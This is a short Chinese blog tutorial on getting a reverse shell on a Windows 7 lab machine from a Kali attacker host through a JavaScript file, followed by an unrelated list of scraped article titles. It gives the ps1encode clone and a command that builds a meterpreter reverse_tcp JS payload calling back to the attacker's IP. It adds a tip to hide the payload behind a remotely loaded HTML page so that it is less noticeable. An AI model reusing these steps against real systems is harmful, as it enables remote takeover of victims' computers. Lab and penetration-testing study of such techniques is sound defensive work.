利用js文件反弹shell 安全

1.环境攻击机：Kali 192.168.42.138
靶机：Win7 192.168.42.139
2.安装工具ps1encode 【利用js文件反弹shell】下载地址：https://github.com/CroweCybersecurity/ps1encode
git clone https://github.com/CroweCybersecurity/ps1encode.git

文章图片

3. 利用js文件反弹shell 先利用ps1encode生成js payload
./ps1encode.rb --LHOST 192.168.42.138 --LPORT 1919 --PAYLOAD windows/meterpreter/reverse_tcp --ENCODE cmd -t js

文章图片

将payload复制到文件1.js中，直接执行js文件的话可能比较明显，所以写了一个1.html文件去远程调用js文件执行。
1.html文件内容如下：

文章图片 PS:由于在生成js payload时使用了windows/meterpreter/reverse_tcp模块，因此在设置监听时也需要设置该模块。将1.html文件复制到靶机，使用ie浏览器打开选择允许阻止的内容->你想允许这种交互吗（是）文章图片文章图片查看靶机，获取shell成功，权限为当前用户权限文章图片推荐阅读美播直播怎么放音乐？美播直播放音乐方法教程大货车查违章哪个软件最准确查违章哪个好治安调解的原则有哪一些财富贷是真的吗财富贷可靠吗招财猫怎么放，招财猫怎么放置梦幻西游不pk有必要带龟速吗梦幻西游龟速和配速哪个好跨境电商行业报告面试为什么选择跨境电商这个行业，跨境电商行业的发展趋势 edius怎么添加特效素材 edius给立体素材加特效的图文操作方法游子吟中运用对偶的手法的诗句是大卷烫发怎么打理好看大脸如何打理头发，大卷头发怎么打理视频取名诺诺的寓意是什么一个刚入职的公务员一年能收入多少？抖音蘑菇头我要送你99朵玫瑰花动态表情包分享齐河物流园分拣员怎么样,快递从早上6点到晚上9点每天派送千余件赫曼陆龟能长多大小于多少很容易生命危险皮沙发长霉斑可以用什么洗掉，真皮沙发有霉斑怎么清洗初中总分多少分上a班初中最多多少分终其一生箭牌洁具的价格表箭牌单功能卫浴单价知柏地黄丸有4大妙用知柏地黄丸的作用与功效！ CDN加速防御对文件下载视频直播网站起了什么作用（） Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现从0到1学习Web安全|RCE代码及命令执行漏洞渗透测试|spring_cloud_rce(CVE-2022-22947)漏洞复现漏洞通报|CVE-2022-22947 SpringCloud Gateway 远程命令执行漏洞安全|Spring Cloud 再爆高危漏洞.... 赶紧修复 web安全|网络安全笔记笔记|网络安全-安全服务工程师-技能手册详细总结（建议学习収藏）安全|软考-中级-网络工程师-笔记-第3章-广域通信网